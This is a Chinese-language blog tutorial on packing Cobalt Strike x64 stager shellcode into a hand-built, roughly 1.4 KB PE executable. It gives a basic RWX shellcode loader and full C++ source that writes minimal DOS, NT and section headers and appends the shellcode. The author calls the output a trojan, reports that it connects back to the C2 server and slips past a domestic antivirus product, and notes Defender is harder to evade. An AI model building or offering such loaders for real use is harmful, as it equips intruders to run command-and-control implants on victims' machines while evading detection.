手写超迷你shellcode加载

​ shellcode加载器最小可以达到多大呢?50kb?20kb?10kb?5kb?都不是,经过遐想仔细的研究学习发现,在不考虑免杀的情况下,cobaltstrike的x64 的shellcode加载可以达到1.4kb的大小。本文就来浅浅的品一下是如何将加载器压缩到这么小的。

​ 首先我们都知道shellcode其实就是二进制,转换过来也就是机器码。我们所要做的就是创建3个PE标头,然后进行一个最小文件对齐。

​ 我们简单了解一下cs生成的shellcode都做了些什么,他对cs所设置的stager网络数据包解析,然后下载载荷并执行,完成这些操作后我们的cs就会多出一台上线机器了。shellcode是一种地址无关代码,只要给他EIP(x64中叫RIP)就能够开始运行。

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(address, buf, sizeof(buf));
((void(*)())address)();
return 0;
}

​ 这个是一个最简单基础的shellcode加载器,应该也是C语言能写的最小的加载器,但是他远远达不到我们对体积的极致要求。我们要用魔法打败魔法,手搓PE,我们需要给shellcode文件加上

1
2
3
4
5
IMAGE_DOS_HEADER //内存映射的前 64 个字节是 IMAGE_DOS_HEADER ,作为 Windows 程序,末尾指向 IMAGE_FILE_HEADER 的指针,是PE文件的第一个部分。这里面有两个重要的数据成员。第一个为e_magic,这个必须为MZ,即0x5A4D。另一个重要的数据成员是最后一个成员e_lfanew,这个成员的值为IMAGE_NT_HEADERS的偏移。

IMAGE_NT_HEADER //PE相关结构的映像头,DOS头结构体中的e_lfanew正是指向这里。

IMAGE_SECTION_HEADER //结构体数组构成,每个元素描述一个区段的信息,以NULL 元素结束。

这三个标头,这里我们使用C++来实现手搓。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <Windows.h>
#include <stdio.h>


int main(int argc, char* argv[])
{
HANDLE hFileShellcode = INVALID_HANDLE_VALUE;
HANDLE hFileOutput = INVALID_HANDLE_VALUE;
DWORD dwRead, dwWritten;
LARGE_INTEGER liFileSize;
PVOID pShellcode = NULL;

IMAGE_DOS_HEADER imageDosHeader = { 0 };
IMAGE_NT_HEADERS64 imageNtHeaders64 = { 0 };
IMAGE_SECTION_HEADER imageSectionHeader = { 0 };
unsigned char text[8] = { ',', 't', 'e', 'x', 't', '\x00', '\x00', '\x00' };

我们先定义一下后面需要使用的东西和.text区段(代码段)。PE文件结构解析

1
2
3
4
5
if (argc != 3)
{
printf(".\\%s <Shellcode.bin> <Output.exe>\n", argv[0]);
return 0;
}

定义一下我们需要的参数

1
2
3
4
5
6
7
8
do
{
GetFileSizeEx(hFileShellcode, &liFileSize);
hFileShellcode = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, liFileSize.LowPart);
ReadFile(hFileShellcode, pShellcode, liFileSize.LowPart, &dwRead, NULL);
imageDosHeader.e_magic = 0x5A4D;
imageDosHeader.e_lfanew = sizeof(IMAGE_DOS_HEADER);

这里我们打开指定的shellcode.bin文件,并且通过liFileSize.LowPart判断大小来给他分配内存。定义e_magic为0x5A4D,也就是我们熟知的MZ。e_lfanew呢则根据IMAGE_DOS_HEADER大小来定义因为他是IMAGE_NT_HEADERS的偏移量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
imageNtHeaders64.Signature = 0x00004550;
imageNtHeaders64.FileHeader.Machine = 0x8664;
imageNtHeaders64.FileHeader.NumberOfSections = 1;
imageNtHeaders64.FileHeader.Characteristics = 0022;
imageNtHeaders64.FileHeader.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);
imageNtHeaders64.OptionalHeader.Magic = 0x020B;
imageNtHeaders64.OptionalHeader.AddressOfEntryPoint = 0x1000;
imageNtHeaders64.OptionalHeader.SectionAlignment = 0x1000;
imageNtHeaders64.OptionalHeader.FileAlignment = 0x200;
imageNtHeaders64.OptionalHeader.MajorOperatingSystemVersion = 0x6;
imageNtHeaders64.OptionalHeader.MinorOperatingSystemVersion = 0x0;
imageNtHeaders64.OptionalHeader.MajorImageVersion = 0x0;
imageNtHeaders64.OptionalHeader.MinorImageVersion = 0x0;
imageNtHeaders64.OptionalHeader.MajorSubsystemVersion = 0x6;
imageNtHeaders64.OptionalHeader.MinorSubsystemVersion = 0x0;
imageNtHeaders64.OptionalHeader.SizeOfImage = 0x1000 + liFileSize.LowPart;
imageNtHeaders64.OptionalHeader.SizeOfHeaders = sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER);
imageNtHeaders64.OptionalHeader.Subsystem = 0x2;
imageNtHeaders64.OptionalHeader.DllCharacteristics = 0x8160;

这里分别定义PE00、AMD64 0x8664、PE64等一些固定的PE数据,这里AddressOfEntryPoint 0x1000代表的就是.text 部分的第一个字节,SectionAlignment段对齐 - 默认 0x1000,无所谓的,加载到内存后的,文件对齐,FileAlignment 0x200 是最低的没有办法哎。SizeOfImage = 0x1000 + liFileSize.LowPart这里是计算我们shellcode的大小的。DllCharacteristics = 0x8160 这里就是ASLR 等。

1
2
3
4
5
6
7
8
9
imageSectionHeader.SizeOfRawData = liFileSize.LowPart;
imageSectionHeader.Misc.VirtualSize = liFileSize.LowPart;
imageSectionHeader.VirtualAddress = 0x1000;
imageSectionHeader.PointerToRawData = 0x200;
imageSectionHeader.Characteristics = 0x60000020;
for (size_t i = 0; i < 8; i++)
{
imageSectionHeader.Name[i] = text[i];
}

这里原始数据大小和 VirtualSize 等于 shellcode 大小,PointerToRawData 由于 FileAlignment,必须在 0x200 上,所以它比标头的大小的总和更大,这个木得办法。Characteristics = 0x60000020 在 .text 区段从 CFF 执行读取和更多的内容。最后用for循环库库的写出来

1
2
3
4
	WriteFile(hFileOutput, &imageDosHeader, sizeof(imageDosHeader), &dwWritten, NULL);
WriteFile(hFileOutput, &imageNtHeaders64, sizeof(imageNtHeaders64), &dwWritten, NULL);
WriteFile(hFileOutput, &imageSectionHeader, sizeof(imageSectionHeader), &dwWritten, NULL);
} while (false);

这里我们先把三个头部都写入我们创建好的文件中,然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL flag1 = true;
for (size_t i = 0; i < 0x200 - sizeof(imageDosHeader) - sizeof(imageNtHeaders64) - sizeof(imageSectionHeader); i++)
{
char pad = '\x00';
if (!WriteFile(hFileOutput, &pad, 1, &dwWritten, NULL))
{
flag1 = false;
break;
}
if (flag1)
{
printf("[*] 无法将填充内容写入输出文件\n");
break;
}
}
WriteFile(hFileOutput, pShellcode, liFileSize.LowPart, &dwWritten, NULL);

用00空字节进行废物填充手术,直到0x200,然后WriteFile写如我们的shellcode,最后礼貌的来个收尾工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
		if (hFileShellcode != INVALID_HANDLE_VALUE)
{
CloseHandle(hFileShellcode);
}

if (hFileOutput != INVALID_HANDLE_VALUE)
{
CloseHandle(hFileOutput);
}

if (pShellcode)
{
HeapFree(GetProcessHeap(), 0, pShellcode);
}
return 0;
}

到这里我们就已经完成了手搓一个小的极致的PE加载工具。丢上VS编译一下看看效果。

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#include <Windows.h>
#include <stdio.h>


int main(int argc, char* argv[])
{
HANDLE hFileShellcode = INVALID_HANDLE_VALUE;
HANDLE hFileOutput = INVALID_HANDLE_VALUE;
DWORD dwRead, dwWritten;
LARGE_INTEGER liFileSize;
PVOID pShellcode = NULL;
IMAGE_DOS_HEADER imageDosHeader = { 0 };
IMAGE_NT_HEADERS64 imageNtHeaders64 = { 0 };
IMAGE_SECTION_HEADER imageSectionHeader = { 0 };
unsigned char text[8] = { ',', 't', 'e', 'x', 't', '\x00', '\x00', '\x00' };


if (argc != 3)
{
printf(".\\%s <Shellcode.bin> <Output.exe>\n", argv[0]);
return 0;
}

do
{
hFileShellcode = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileShellcode == INVALID_HANDLE_VALUE)
{
printf("[*] 打开shellcode文件失败 %s\n", argv[1]);
break;
}

if (!GetFileSizeEx(hFileShellcode, &liFileSize))
{
printf("[*] shellcode文件大小异常\n");
break;
}

pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, liFileSize.LowPart);
if (!pShellcode)
{
printf("[*] 无法为 shellcode 分配内存\n");
break;
}

if (!ReadFile(hFileShellcode, pShellcode, liFileSize.LowPart, &dwRead, NULL))
{
printf("[*] 读取shellcode失败\n");
break;

}

printf("[*] Shellcode 读取到大小为 %d\n", liFileSize.LowPart);

printf("[*] 创建 PE 头\n");

printf("[*] 创建imageDosHeader\n");
imageDosHeader.e_magic = 0x5A4D;
imageDosHeader.e_lfanew = sizeof(IMAGE_DOS_HEADER);
printf("[*] 创建imageNtHeaders64\n");
imageNtHeaders64.Signature = 0x00004550;
imageNtHeaders64.FileHeader.Machine = 0x8664;
imageNtHeaders64.FileHeader.NumberOfSections = 1;
imageNtHeaders64.FileHeader.Characteristics = 0022;
imageNtHeaders64.FileHeader.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);
imageNtHeaders64.OptionalHeader.Magic = 0x020B;
imageNtHeaders64.OptionalHeader.AddressOfEntryPoint = 0x1000;
imageNtHeaders64.OptionalHeader.SectionAlignment = 0x1000;
imageNtHeaders64.OptionalHeader.FileAlignment = 0x200;
imageNtHeaders64.OptionalHeader.MajorOperatingSystemVersion = 0x6;
imageNtHeaders64.OptionalHeader.MinorOperatingSystemVersion = 0x0;
imageNtHeaders64.OptionalHeader.MajorImageVersion = 0x0;
imageNtHeaders64.OptionalHeader.MinorImageVersion = 0x0;
imageNtHeaders64.OptionalHeader.MajorSubsystemVersion = 0x6;
imageNtHeaders64.OptionalHeader.MinorSubsystemVersion = 0x0;
imageNtHeaders64.OptionalHeader.SizeOfImage = 0x1000 + liFileSize.LowPart;
imageNtHeaders64.OptionalHeader.SizeOfHeaders = sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS64) + sizeof(IMAGE_SECTION_HEADER);
imageNtHeaders64.OptionalHeader.Subsystem = 0x2;
imageNtHeaders64.OptionalHeader.DllCharacteristics = 0x8160;
imageSectionHeader.SizeOfRawData = liFileSize.LowPart;
imageSectionHeader.Misc.VirtualSize = liFileSize.LowPart;
imageSectionHeader.VirtualAddress = 0x1000;
imageSectionHeader.PointerToRawData = 0x200;
imageSectionHeader.Characteristics = 0x60000020;

for (size_t i = 0; i < 8; i++)
{
imageSectionHeader.Name[i] = text[i];
}

printf("[*] 完成构建文件,开始输出\n");

hFileOutput = CreateFileA(argv[2], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFileOutput == INVALID_HANDLE_VALUE)
{
printf("[*] 无法创建输出文件 %s\n", argv[2]);
break;
}

printf("[*] 写Header\n");
if (!WriteFile(hFileOutput, &imageDosHeader, sizeof(imageDosHeader), &dwWritten, NULL) ||
!WriteFile(hFileOutput, &imageNtHeaders64, sizeof(imageNtHeaders64), &dwWritten, NULL) ||
!WriteFile(hFileOutput, &imageSectionHeader, sizeof(imageSectionHeader), &dwWritten, NULL))
{
printf("[*] 无法将Header写入输出文件\n");
break;
}


printf("[*] 写填充\n");


BOOL flag = true;
for (size_t i = 0; i < 0x200 - sizeof(imageDosHeader) - sizeof(imageNtHeaders64) - sizeof(imageSectionHeader); i++)
{
char pad = '\x00';
if (!WriteFile(hFileOutput, &pad, 1, &dwWritten, NULL))
{
flag = false;
break;
}
}
if (!flag)
{
printf("[*] 无法将填充内容写入输出文件\n");
break;
}

printf("[*] 写shellcode\n");


if (!WriteFile(hFileOutput, pShellcode, liFileSize.LowPart, &dwWritten, NULL))
{
printf("[*] 无法将 shellcode 写入输出文件\n");
break;
}


} while (false);


printf("[*] 善后一下\n");

if (hFileShellcode != INVALID_HANDLE_VALUE)
{
CloseHandle(hFileShellcode);
}

if (hFileOutput != INVALID_HANDLE_VALUE)
{
CloseHandle(hFileOutput);
}

if (pShellcode)
{
HeapFree(GetProcessHeap(), 0, pShellcode);
}



return 0;

}


这样就get到了一个1.41kb的马子,当然人家已经这么小了就不能对于免杀方面太苛刻。我们用国产之光,某数字测试一下看看。

动态上线也是没有问题的,核晶也不会拦截。但是对于defender来说就会有些乏力(也不是完全没有办法)。小既是美~

这里参考以下文章:

Windows 10 下的最小 64 位 PE 文件

Github